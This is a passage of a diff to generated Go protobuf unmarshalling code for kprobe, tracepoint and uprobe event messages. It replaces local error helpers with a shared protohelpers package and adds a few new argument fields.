io.ErrUnexpectedEOF @@ -13633,11 +14332,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13661,7 +14360,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13674,11 +14373,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13702,7 +14401,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var v uint32 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13722,7 +14421,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13735,11 +14434,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13763,7 +14462,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13776,11 +14475,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13804,7 +14503,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13818,11 +14517,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13836,7 +14535,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13849,11 +14548,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13877,7 +14576,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13890,11 +14589,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13918,7 +14617,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13931,11 +14630,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13959,7 +14658,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -13973,11 +14672,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -13991,7 +14690,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14005,11 +14704,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14023,7 +14722,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14037,11 +14736,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14055,7 +14754,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14069,11 +14768,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14087,7 +14786,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14100,11 +14799,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14128,7 +14827,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14141,11 +14840,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14169,7 +14868,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var v BpfCmd for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14189,7 +14888,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14202,11 +14901,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14230,7 +14929,7 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14243,11 +14942,11 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14264,14 +14963,137 @@ func (m *KprobeArgument) UnmarshalVT(dAtA []byte) error { m.Arg = &KprobeArgument_SockaddrArg{SockaddrArg: v} } iNdEx = postIndex + case 31: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field BpfProgArg", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if oneof, ok := m.Arg.(*KprobeArgument_BpfProgArg); ok { + if err := oneof.BpfProgArg.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + } else { + v := &KprobeBpfProg{} + if err := v.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + m.Arg = &KprobeArgument_BpfProgArg{BpfProgArg: v} + } + iNdEx = postIndex + case 32: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ErrorArg", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if oneof, ok := m.Arg.(*KprobeArgument_ErrorArg); ok { + if err := oneof.ErrorArg.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + } else { + v := &KprobeError{} + if err := v.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + m.Arg = &KprobeArgument_ErrorArg{ErrorArg: v} + } + iNdEx = postIndex + case 33: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SockaddrunArg", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if oneof, ok := m.Arg.(*KprobeArgument_SockaddrunArg); ok { + if err := oneof.SockaddrunArg.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + } else { + v := &KprobeSockaddrUn{} + if err := v.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + m.Arg = &KprobeArgument_SockaddrunArg{SockaddrunArg: v} + } + iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -14294,7 +15116,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14322,7 +15144,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14335,11 +15157,11 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14358,7 +15180,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14371,11 +15193,11 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14394,7 +15216,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14408,11 +15230,11 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14426,7 +15248,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14439,11 +15261,11 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14460,7 +15282,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14473,11 +15295,11 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14496,7 +15318,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { m.Action = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14515,7 +15337,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14528,11 +15350,11 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14549,7 +15371,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14563,11 +15385,11 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14581,7 +15403,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { m.ReturnAction = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14600,7 +15422,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14614,11 +15436,11 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14632,7 +15454,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14646,11 +15468,11 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14664,7 +15486,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14677,11 +15499,11 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14698,7 +15520,7 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14711,11 +15533,11 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14725,14 +15547,48 @@ func (m *ProcessKprobe) UnmarshalVT(dAtA []byte) error { return err } iNdEx = postIndex + case 14: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data, &KprobeArgument{}) + if err := m.Data[len(m.Data)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -14755,7 +15611,7 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14783,7 +15639,7 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14796,11 +15652,11 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14819,7 +15675,7 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14832,11 +15688,11 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14855,7 +15711,7 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14869,11 +15725,11 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14887,7 +15743,7 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14901,11 +15757,11 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14919,7 +15775,7 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14932,11 +15788,11 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14953,7 +15809,7 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -14967,11 +15823,11 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -14985,7 +15841,7 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { m.Action = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15004,7 +15860,7 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15018,11 +15874,11 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15036,7 +15892,7 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15050,11 +15906,11 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15068,7 +15924,7 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15081,11 +15937,11 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15097,12 +15953,12 @@ func (m *ProcessTracepoint) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -15125,7 +15981,7 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15153,7 +16009,7 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15166,11 +16022,11 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15189,7 +16045,7 @@ func (m 